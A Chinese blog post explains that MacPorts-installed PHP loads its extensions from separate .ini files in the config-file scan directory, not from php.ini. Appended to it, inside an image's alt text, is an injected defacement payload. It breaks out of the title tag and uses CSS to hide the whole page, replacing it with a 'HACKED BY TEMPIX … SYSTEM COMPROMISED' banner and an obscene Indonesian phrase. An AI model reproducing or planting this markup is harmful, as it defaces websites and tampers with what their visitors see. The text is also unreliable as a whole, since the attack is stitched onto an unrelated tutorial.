我现在的开发环境,php、php-mongo、php-mysql、php-redis、xdebug等都是通过macports安装的。一直使用都没有问题,直到今天编辑php.ini的时候发现,这些extension居然都没有在php.ini中定义。奇怪了,那它们是怎么加载的呢?
首先怀疑我编辑的php.ini不是php实际使用的配置文件。通过查看phpinfo(),在Configure Command中可以确认–with-config-file-path为/opt/local/etc/php54,编辑的php.ini没有问题。
既然php.ini中没有定义,而extension又实际上被加载了。那么可以初步判断,通过macports安装的php,extension的相关配置是存在php.ini之外的一个地方,那么究竟在哪呢?
继续分析phpinfo(),发现这么一条–with-config-file-scan-dir=/opt/local/var/db/php54。进入这个目录一看,mongo.ini、mysql.ini、redis.ini、xdebug.ini等都在这里。于是乎真相大白,原来extension相关的配置文件都被分离到这里了。
究其原因,macports这样做是为了方便维护extension。好处如下:
1、extension的配置与php.ini隔离,方便维护(直接修改php.ini会引发各种问题)
2、各个extension的配置文件相互隔离,互不影响(安装卸载只要添加删除文件即可)
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)